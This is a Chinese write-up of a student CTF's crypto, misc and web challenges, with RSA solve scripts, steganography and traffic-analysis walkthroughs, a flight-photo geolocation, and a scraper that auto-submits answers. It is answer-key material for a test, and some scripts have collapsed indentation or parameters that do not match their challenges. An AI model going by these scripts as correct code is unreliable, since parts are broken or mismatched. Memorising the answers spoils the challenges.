2025 第一届ynuctf wp crypto-misc
文章目录
- 碎碎念
- crypto
- 科目一
- 科目二
- 科目三
- 科目四
- signin1
- signin2
- realworld_signin
- realworld normal
- misc
- sign1
- sign2
- sign3
- sign4
- sign5
- sign6
- sign7
- real_signin
- keep patients
- web
- darksoul3
- php_rce
- ez_rust
- neko
- ez_python
- php_shop
碎碎念
- 这次比赛出了密码和杂项的题,题都出的很简单,基本都是从最近的ctf赛事里选了一些签到题再简化难度,像科目二和科目三合起来就是去年长城杯的签到题,科目四则是从签到题里挑出一个很惊艳的思路,sign1和sign2则是对基础功的考察,一些学crypto或早或晚一定会接触到的一些东西,至于杂项呢就纯送分了,出题思路就是让大家能做出来为主,干脆直接从过往ctf挑了一些最简单的题目改编,基本用AI加工具能解大部分题目。
- 这次顺便打了下web,其实没有一开始想的那么难,大部分题目多一点耐心就能做。本来这次只打算做做web题,后来看crypto和misc的分数还没降到预期,于是就手动交了几个flag降降分,web的wp算是个人wp。官方wp等Freestanding学长发吧。
- 在清明后应老师的要求提高难度,匆匆扒了几个正常ctf难度的题来,flag也懒得改了。因为预期应该是很少有人能解出来或者搜到。
crypto
科目一
from Crypto.Util.number import *p=getPrime(512)
q=getPrime(512)
n=p*q
c=pow(bytes_to_long(flag),65537,n)p=8060960420897553776795699876086197967680438979520526635092837058139787940041927166028440846186034168898507474439851683381065280659457919026828029783707177
q=13186104222623913034112683302377575480641399351617537590977786858232267275520921503730671814165905324430035852291722704687193439219005898145426843715654407
c=56461349395709989706185621940981690692733049631178422115517913644268257015596491493266308935264875228191268947616672306751587763737039911458155050897545884182453064415446425765869465240724740536217182292278072864232506473202746976542622045572441507009268853905995233566669651959344309325353256393216839876083
n=106292664244401469159742269188125522934044820921125281200311458517131905798019829166832243198278428336657168361806125800037239046991760729663950624496657811061195329566687402815513939232165267762129284190587172054519206309995523694416880815170023929592547718145100998230479600017397725883084333389509017579039
RSA模板题,也是本次的签到题,唯一的难点可能在于对python函数的不熟悉,丢给AI逐行解释即可
wp
from Crypto.Util.number import *
p=8060960420897553776795699876086197967680438979520526635092837058139787940041927166028440846186034168898507474439851683381065280659457919026828029783707177
q=13186104222623913034112683302377575480641399351617537590977786858232267275520921503730671814165905324430035852291722704687193439219005898145426843715654407
c=56461349395709989706185621940981690692733049631178422115517913644268257015596491493266308935264875228191268947616672306751587763737039911458155050897545884182453064415446425765869465240724740536217182292278072864232506473202746976542622045572441507009268853905995233566669651959344309325353256393216839876083
n=106292664244401469159742269188125522934044820921125281200311458517131905798019829166832243198278428336657168361806125800037239046991760729663950624496657811061195329566687402815513939232165267762129284190587172054519206309995523694416880815170023929592547718145100998230479600017397725883084333389509017579039
phi=(p-1)*(q-1)
d=invmod(e,phi)
flag=pow(c,d,n)
print(long_to_bytes(flag))
科目二
from Crypto.Util.number import *
def crypto():p = getPrime(1024)q = getPrime(1024)n = p * qe = 0x10001hint = pow(514 * p - 114 * q, n - p - q, n)c = pow(bytes_to_long(flag), e, n)print(n)print(c)print(hint)
crypto()
n=14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c=3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
hint=12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
新师傅们要逐渐习惯crypto的思维模式,打比赛时一道题推理一两个小时都是很正常的,当然签到题没有这么难,我们做一个简单的推导
from sympy import *
from Crypto.Util.number import *
n=14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c=3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
hint=12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
hint_inv=inverse(hint,n)
p,q=symbols('p q')
e1=Eq(p*q,n)
e2=Eq(514*p-114*q,hint_inv)
solution=solve((e1,e2),(p,q))
print(solution)
p,q=(160881802385866735977952802942550685154221405156636582815672747550810423656327422080863848388689282644642674143872722648451512578267239642669161230998413843527105475799016090156873780719095407383336719905745132741065142070792867344358716394805944263399045881648755138027065215840424927582354629409314041595101, 91995478104996018938881004188562575285029505859853614154759700798432255291733170698959889796438923275319694075115706459583756938216391620328263066753201880192155183988448495963353862694367184953083684931925504323677314168218636212615253615324564164250487503693245013252044588877300093941457752452535857334433)
d=inverse(65537,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))
科目三
from Crypto.Util.number import *
from random import randint
import os
from tqdm import *def crypto():p = getPrime(1024)q = getPrime(1024)n = p * qe = 0x10001x1 = randint(0, 2 ** 11)y1 = randint(0, 2 ** 114)x2 = randint(0, 2 ** 11)y2 = randint(0, 2 ** 514)hint1 = x1 * p + y1 * q - 0x114hint2 = x2 * p + y2 * q - 0x514c = pow(bytes_to_long(flag), e, n)print(n)print(c)print(hint1)print(hint2)
crypto()
n=15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c=10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
hint1=954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
hint2=7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
继续做一个简单的推导,多提一嘴,当时打比赛的时候我一直没思路,后来自暴自弃把题目丢给kimi分析,kimi当然做不出来,但是它有一点很好,就是会把匹配到的近似的文章也列出来,虽然没有这道题的原理,但是我在其中一篇博客中翻到了求公因数的思路,成功解出签到题。借此也是想跟大家分享一下经验,卡住的时候多搜搜多看看,不过不要直接py,我们是搞安全的,不是找flag的ctfer,理解原理很重要
from Crypto.Util.number import *
from tqdm import *
from libnum import *
n=15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c=10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
h1=954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
h2=7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
h1=h1+0x114
h2=h2+0x514
for i in trange(2**11):for j in range(2**11):x=i*h2-j*h1q=gcd(x,n)if q>2 and q<n:p=n//qprint(q,n//q)
p,q=163739634494355620844844526433688123602716721581588282108801742403598545817707566677714349736317490522816230356132623358250657948579245689743794583255967056337831688137111948641399242663316081929050550095881234936184506174207507449360839697069667932754080379355270537061749332878892371372781874137309945280103,93367108578369491917505914199897537041688445968194987296019484650770917140383298478551307187660312017576646582710837825303974107154747084516924068926956472731532850753225083973847486666432109383081167467875961176603915477827228091490613729224837423196840474111225606602838490798941098461098191309953687148717
d=inverse(65537,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))
科目四
这道题的原型很复杂,看wp也有一些很难理解的点,但是其中的一些思路很惊艳
因为作为新生赛的题目它的后续被我一刀砍了,所以题目出现了一些漏洞,我们对新来的朋友总是尽可能地降低门槛
- 看看背后的原理吧
在原题中flag的ascll值是+3,不过因为怕一些朋友理解不了,所以干脆换成+2了 - m2是由m1经由凯撒加密变换来的,但是注意到只是加2,观察ascll表字符,没有字符会受到取余的影响,这个固定值可以自己生成一组值,一减就出来了
- 展开式可以类比二进制的展开式,我将它称为字节进制的展开式,即以字节为单位进行计算,这也是bytes_to_long函数的计算原理
但转念一想吧,这样会不会太简单了,于是加入了一个新的考点,也是国际赛上最近出现的一个考点,RSA中p=q的情况怎么解密,其实很简单,gpt一下就出来了,即phi=p*(p-1)
d=inverse(e,p*(p-1))
print(long_to_bytes(pow(c,d,n))
signin1
from Crypto.Util.number import *
n=13112061820685643239663831166928327119579425830632458568801544406506769461279590962772340249183569437559394200635526183698604582385769381159563710823689417274479549627596095398621182995891454516953722025068926293512505383125227579169778946631369961753587856344582257683672313230378603324005337788913902434023431887061454368566100747618582590270385918204656156089053519709536001906964008635708510672550219546894006091483520355436091053866312718431318498783637712773878423777467316605865516248176248780637132615807886272029843770186833425792049108187487338237850806203728217374848799250419859646871057096297020670904211
e=3
m=bytes_to_long(flag)
c=pow(m,e,n)
m_high=m>>72<<72
m_high=30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633401850580090384140992512
coppersmith版子题,考察新生是否安装sagemath环境和入门基本功,如果对copper不了解其实通过Google也可以解题,大把的教程,关键词搜索完稍微学一点即可
coppersmith算法
>用这个脚本在sage里跑大概一秒拿到flag
from Crypto.Util.number import *
from libnum import *
n=22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
e=3
bit=64
c=27091082454125034709660465484186175481294547541915314357428478859775459918462993752000949426427351121381005723451455537027301071775833846318612013393929395332670588224596463878232882207935407881802031486452494491990307689920104930994688222105464546716718442197687350963630258262135529644577487776191919246614888483885478030439860492032522757697088199449807080875330693644177211961129758831318676484517444567023668238987052635277498277452417641451725711327258651748101500112041968643835679591426500841978386212815251521283368037
m_high=30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633404045742635155577634816
PR.<x> = PolynomialRing(Zmod(n))
f=(m_high+x)^3-c
f=f.monic()
root=f.small_roots(2**bit,beta=0.5)
if root:m=int(root[0])+m_highprint(m)flag=long_to_bytes(m)if b'ctf' in flag:print(flag)
signin2
from Crypto.Util.number import *m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 114
c = pow(m, e, n)
print(c)
print(p >> 200)
print(n)c=3932382731118063759384749642486200451057000215373730175463398463425440774457829759953746769049897111773824586621509992822353300256283971659380612467046261273665887575930954962195805388780279743904737620652445028784832240156296019112464098450675210698054016563453144285864921006199850583819128900558633400077519346734834158340175863758903009670305892040072171588864105448459305185017258976004792970130713093954254568638865115846659172645813683492054504045436698466977392314936841896465610139901247788248043871166011686502731016878983639425150101254085569380596958612285464710945690318963938805467479753781460381233153
p_high=92694929338275248460907824177114900119394002660495087711889724983392060023347181834467919491832288878620351578211855252716158697502561769513000555112489586932922535924516493233694216729457931302377126498471383542102258876958114513879259249435637944
n=22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
依然是常规的copper,但是在出题时想这次出的会不会太简单了,于是加入了一个有限域开根的考点,如果注意不到e与phi不互质,脚本跑再长时间也没用。
先介绍一下不互质的解法
说白了就是把公因数提出来放到m上,出题时也是以尽可能新生能解出来为主,设置了 m t < n m^t<n mt<n,如果反过来需要用到AMM算法(感兴趣的同学可以看这个)
RSA e与phi不互质
那么接下来做一个常规copper即可
from Crypto.Util.number import *
from libnum import *
e=114
c=1221991191181537480409280274601665703436452140103304537845613601178696380818070104367013417214736049755604143035487180738359289898220649954048656088595437207285439557305498232173015879786423288421449102163518842089724119856793640811296229737537420246940355390598891872205214803073572059769996643624345908446925180150015392213855838576280574429232759361661272308828918455571430474891558942292218205997271921456802441484120867681994391169344900411716709726179808258177460514845834766494746593823485625859020123297205069971090717613794677771667122121445363402552653272055500125897806219551396366979767933408044709752359
pl=92283816334791027537832980799840991188721580033186187030916296688371970354339160232191061774075579274055020758326031496089309793343324792687435117404979114975149614970117678398492298003334407661416092747448087069801349794590599073348176907840464037
n=26071445595981395133268968075251944466498060763819227478695947509424921547060590393129061508017457456424978728239726133552097721600303144638009869734748681869056009308293142371152663228344020236515443813182209787660745959910062299761545996066189590736556796787377942053946456193809786130022858952981573029366618549463618113877861619738041802302141510592797078274982782868034373320344206299273253051629520980823750320265771084278721585606145566214491744680192697679277401296499227294030714763962644130749189453930479708165124571614561176572863416034011773618849345401444589259247760138603659126070309675809422023170493
bit=200
PR.<x> = PolynomialRing(Zmod(n))
f=pl*2^200+x
f=f.monic()
root=f.small_roots(2**bit,beta=0.4)
if root:p=int(root[0])+pl*2^200print(p)p=148294375337784953961006816644772879111937895613024930260535417412414748448269600108911770957280643311137972682188515112723421841991258318554872296491878779103425816763932645053428239050518024919617854417726804221385895450878839755919561981889906508029235131670359323906076157852344713532647055392564414789969
求出p后接着求解即可
q=n//p
phi=(p-1)*(q-1)
t=gcd(e,phi)
ee=e//t
d=invmod(ee,phi)
mt=int(pow(c,d,n))
flag=gmpy2.iroot(mt,t)[0]
print(long_to_bytes(flag))
现在来想出题时还是太保守了,应该直接加AMM的
清明后应老师要求上了两道正常ctf难度的题
realworld_signin
题目来源于去年N1的签到题
从鸡块blog里看到的,感觉努努力应该有人可以签出来
https://tangcuxiaojikuai.xyz/post/cd7e8e10.html#more
realworld normal
题目来源于ImaginaryCTF-Round54的MLFSR,选这道题在于其中运用了大量线性代数相关知识,在最近的ctf这方面的考点也是越来越多,我自觉理解不了,所以果断转向web。
https://tangcuxiaojikuai.xyz/post/ec560d26.html
misc
- 说几句废话,明年是真不想出题了,出简单了AI一把梭,AI梭不了的老生都经常坐牢,更何况新手,不过用AI也是需要技巧的,同样的简单题,有人半小时就基本梭完了,有人还在问用哪个AI工具。对于会梭的人来说,做出来其实只是时间问题而已。
sign1
用基本的手法找找信息,打开十六进制编辑器,随后在页面底部找到flag
sign2
涉及到图片高宽的修改,相当于完整的flag被截成两半,需要输入原本图片的高度和宽度才能得到另一半
下面贴一个这类问题的常见解决方案
第二行前四位是宽度(直接改0384就行),后四位是高度(直接改0096就行)
接下来提供一个根据CRC值计算png图片(其他图片似乎用不了)正确高度和宽度的脚本
import os
import binascii
import structcrcbp = open("misc26.png", "rb").read() # 打开图片
crc32frombp = int(crcbp[29:33].hex(), 16) # 读取图片中的CRC校验值
print(crc32frombp)for i in range(4000): # 宽度1-4000进行枚举for j in range(4000): # 高度1-4000进行枚举data = crcbp[12:16] + \struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]crc32 = binascii.crc32(data) & 0xffffffff# print(crc32)if (crc32 == crc32frombp): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定print(i, j)print('hex:', hex(i), hex(j))
当然直接用工具一把梭也可以
sign3
柯基真可爱
图片的常规操作,拖进Linux里用binwalk命令分离一下,得到一个压缩包
接下来有一个加密的压缩包,密码设置的很简单,123456,不会使用工具也能猜出来,不过还是比较推荐使用工具的,类似ARCHPR,passware都可以用来爆破
sign4
需要用到wireshark这个软件进行流量分析,进来看到绿色的http流量,且数量较少,于是过滤http流量看一下
发现一些记录,逐条查看,倒数第二条是flag.txt,可以借助这点过滤找到flag,当然,如果你接着向下看最后一条记录,会发现flag就在其中
sign5
进来看到一个docx文档,用wps打开,一片空白,但是第一行有一些红色下划线,猜测有一些看不见的字符,ctrl+A果然选中内容,更改字体颜色为黑色,得到一串字符,有经验的师傅一眼就能认出,用base65536解密即可
base65536在线加解密
sign6
出到第六题时实在想不出能出啥了,突然想起古典密码,在现在人们的认知中也把它归做misc体系,干脆随便找几个古典密码组合一下。
第一层是偏移量为5的凯撒加密
第二层是偏移量为2的栅栏加密(解密时联想到flag格式为ynuctf{,注意大括号位置即可猜出是栅栏密码)
第三层加个base64玩玩
再往下其实还可以再加一层(之前做过一道套娃放了六层),但是再加一层想解出来就需要一点点的耐心了,就到这里吧
sign7
最后一题了,整个好玩的吧,在一个靶场偶然看到的题目
给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419
直接在 flightaware 中搜索这个标号,应该是飞机的注册号
可以搜到这是一架东航的飞机
在下面可以找到历史航班
可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息
找到航班号 MU5156
下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜
14:30 在 14:13 和 14:51 中间偏左的位置
航班轨迹
放大来看,此时飞机大致经过邹城市
经过搜索,邹城市属于济宁市,济宁市是地级市
这次出misc的最后一题来源于西电的靶场,西电里面题目的质量非常高,题解也很详细,respect ! ! !
训练 西电CTF终端
清明后应老师要求上了两个复杂一点的misc,去r3的题单里逛了逛,挑了两道解出来的人数多点的misc
real_signin
这道题来源于今年的TPCTF,这里贴一个星盟安全团队的wp
csdn不让放二维码相关图片,感兴趣朋友去看原wp即可,后续也会慢慢将博客迁移到新的地址糖果屋lally.top
给了一个GIF,是被拉伸变形的二维码。
从掩码可以看出左边的图是正着的,右边的是倒着的。
不会p图,硬看然后qrazybox手动恢复,干就完了。
padding bits recovery自动填充一下
然后reed solomon decoder解码就行
keep patients
这道题来源于2022西湖论剑,贴一个官方的wp
1、下载附件得到一个mp3文件,播放一下没有什么特殊声音。先用winhex打开,发现文件尾后面藏了一个png图片
2、先将png图片提取出来,得到:
3、图片比较规整,只有0和255两种颜色,怀疑图片的黑色和白色转0和1,写一个脚本跑一下,发现是压缩包,提取脚本如下:
from PIL import Image
import structpic = Image.open('cipher.png')
a, b = pic.sizefp = open('flag.zip', 'wb')
flag = ''
for y in range(b):for x in range(a):flag += str(pic.getpixel((x, y))//255)for i in range(0, len(flag), 8):fp.write(struct.pack('B', int(flag[i:i+8], 2)))
fp.close()
跑一下脚本得到一个加密的压缩包文件
4、此时缺一个压缩包的password,附件是一个mp3文件,但此时还没有用到mp3相关的隐写,尝试一下,最后可以发现是mp3stego,该隐写方式需要密码,但我们在解题过程中并没有获得过密码,尝试空密码解密,发现解密成功
5、解密成功后得到:
8750d5109208213f
尝试解密压缩包,解密成功,得到47.txt
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ–QZ2]002Z2]220Z2]020Z2]00ZQW—Q–QZ2]002Z2]000Z2]200ZQ–QZ2]002Z2]000Z2]002ZQ–QZ2]002Z2]020Z2]022ZQ–QZ2]002Z2]000Z2]022ZQ–QZ2]002Z2]020Z2]200ZQ–QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN—Q–QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
6、根据标题47.txt,怀疑是rot47,尝试解密,得到:
a=~[];a={:++a,aaaa:(![]+“”)[a],a:++a,a_a😦![]+“”)[a],a:++a,a_aa:({}+“”)[a],aa_a:(a[a]+“”)[a],aa:++a,aaa😦!“”+“”)[a],a:++a,a_a:++a,aa😦{}+“”)[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+“”)[a.a_a]+(a.a=a.a[a.a])+(a.aa=(a.a+“”)[a.a])+((!a)+“”)[a._aa]+(a.=a.a[a.aa])+(a.a=(!“”+“”)[a.a])+(a.=(!“”+“”)[a.a])+a.a[a.a_a]+a.+a.a+a.a;a.aa=a.a+(!“”+“”)[a.aa]+a.__+a.+a.a+a.aa;a.a=(a.)[a.a][a.a];a.a(a.a(a.aa+“”“+a.a_a_+(![]+”“)[a.a]+a.aaa_+”\“+a.a+a.aa+a.a+a.+“(\”\"+a.a+a.+a.a__+”\“+a.a+a.+a.a+“\”+a.a+a.a+a.aa+“\”+a.a+a.+a.aa+“\”+a.a+a.a+a.a+“\”+a.a+a.+a.aa+“{”+a.aaaa+a.a+a.+a.a__a+a.aaa+a.a+a.a_a+a.aaa+a.aa_a+a.aa+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.a+a.a_a+a.aa+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+”}\“\”+a.a__+a.___+“);”+“”")())();
该形式非常类似jjencode,但是jjencode多为$,而这里是大量的a。但实则没有区别,只是换了一个字符而已。直接放到浏览器控制台内运行,即可得到flag:
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
web
darksoul3
最无脑的办法其实就是一个一个找就完了,随便找两三个,突然发现每一次vg百科的内容都与他高度匹配,那么问题简单了,先把vg百科里需要的数据爬下来,再写个脚本匹配即可,注意每次匹配都要实时更新cookie,否则提交会不成功
爬数据
import requests
from bs4 import BeautifulSoup
import json# 配置参数
BASE_URL = "https://www.vgbaike.com/dark_souls_3/baike"
START_ID = 2667
END_ID = 5264
OUTPUT_FILE = "ds3_baike_data.json"
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}def scrape_page(page_id):"""爬取单个页面的标题和blockquote内容"""url = f"{BASE_URL}{page_id}"try:response = requests.get(url, headers=HEADERS)if response.status_code != 200:print(f"页面 {page_id} 不存在 (HTTP {response.status_code})")return Nonesoup = BeautifulSoup(response.text, 'html.parser')# 提取标题title_tag = soup.find("h1", class_="article-title")title = title_tag.text.strip() if title_tag else "无标题"# 提取所有blockquote内容quotes = soup.find_all("blockquote")descriptions = [quote.text.strip() for quote in quotes]return {"title": title,"descriptions": descriptions,}except Exception as e:print(f"爬取 {url} 失败: {str(e)}")return Nonedef main():data = []for page_id in range(START_ID, END_ID + 1):print(f"正在爬取 ID: {page_id}...")page_data = scrape_page(page_id)if page_data:data.append(page_data)# 适当延迟避免高频请求# time.sleep(0.5) # 如果需要可取消注释# 保存结果到JSON文件with open(OUTPUT_FILE, "w", encoding="utf-8") as f:json.dump(data, f, ensure_ascii=False, indent=2)print(f"数据已保存至 {OUTPUT_FILE}")if __name__ == "__main__":main()
匹配并提交
import requests
from bs4 import BeautifulSoup
import json
from urllib.parse import quote
import time# 配置参数
TARGET_PAGE = "http://9998-db2fb3d0-34ec-476b-94ca-c10ae88fb838.challenge.ctfplus.cn/" # 要爬取的网页
JSON_FILE = "ds3_baike_data.json" # 之前生成的JSON文件
SUBMIT_URL = "http://9998-db2fb3d0-34ec-476b-94ca-c10ae88fb838.challenge.ctfplus.cn/"
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}# 使用 Session 管理 cookie
session = requests.Session()
session.headers.update(HEADERS)def simulate_reload(url):"""模拟用户点击刷新页面,更新 cookie 及页面内容"""try:response = session.get(url)print("模拟点击重新加载页面,已更新cookie和内容")return responseexcept Exception as e:print(f"模拟点击重新加载页面失败: {str(e)}")return Nonedef get_p_descriptions(url):"""爬取目标页面的<p>标签内容,并打印 session cookie 值"""try:response = session.get(url)session_cookie = response.cookies.get('session')if session_cookie:print(f"获取到session cookie: {session_cookie}")else:print("未获取到session cookie")soup = BeautifulSoup(response.text, 'html.parser')p_tags = soup.find_all('p')return [p.text.strip() for p in p_tags]except Exception as e:print(f"爬取目标页面失败: {str(e)}")return []def find_matching_title(descriptions):"""在 JSON 文件中查找匹配的描述项"""try:with open(JSON_FILE, 'r', encoding='utf-8') as f:data = json.load(f)for item in data:# 如果任意一个<p>标签内容包含在 JSON 条目的 descriptions 字符串中,则匹配成功if any(p_desc in item["descriptions"] for p_desc in descriptions):return item["title"]return Noneexcept Exception as e:print(f"读取JSON文件失败: {str(e)}")return Nonedef submit_answer(title):"""提交答案并解析返回内容(返回内容为HTML格式,包含<p>标签)"""if not title:print("未找到匹配的标题")returnencoded_title = quote(title)full_url = f"{SUBMIT_URL}?answer={encoded_title}"try:response = session.get(full_url)soup = BeautifulSoup(response.text, 'html.parser')p_tag = soup.find('p')if p_tag:print("返回内容:", p_tag.text.strip())else:print("未找到<p>标签,返回内容为:")print(response.text)except Exception as e:print(f"提交答案失败: {str(e)}")if __name__ == "__main__":for i in range(2000):print(f"\n[Iteration {i+1}]")# 步骤0:模拟刷新页面,更新 cookieprint("[STEP0] 正在模拟点击重新加载页面...")simulate_reload(TARGET_PAGE)# 步骤1:获取<p>标签内容p_descriptions = get_p_descriptions(TARGET_PAGE)print("[STEP1] 提取到的<p>标签内容:")if p_descriptions:print("\n".join(p_descriptions))else:print("无内容")# 步骤2:匹配JSON文件中的标题matched_title = find_matching_title(p_descriptions)if not matched_title:print("[STEP2] 错误:未找到匹配标题")continueprint(f"[STEP2] 匹配到的标题:{matched_title}")# 步骤3:提交答案并解析返回内容print("[STEP3] 正在提交答案...")submit_answer(matched_title)
php_rce
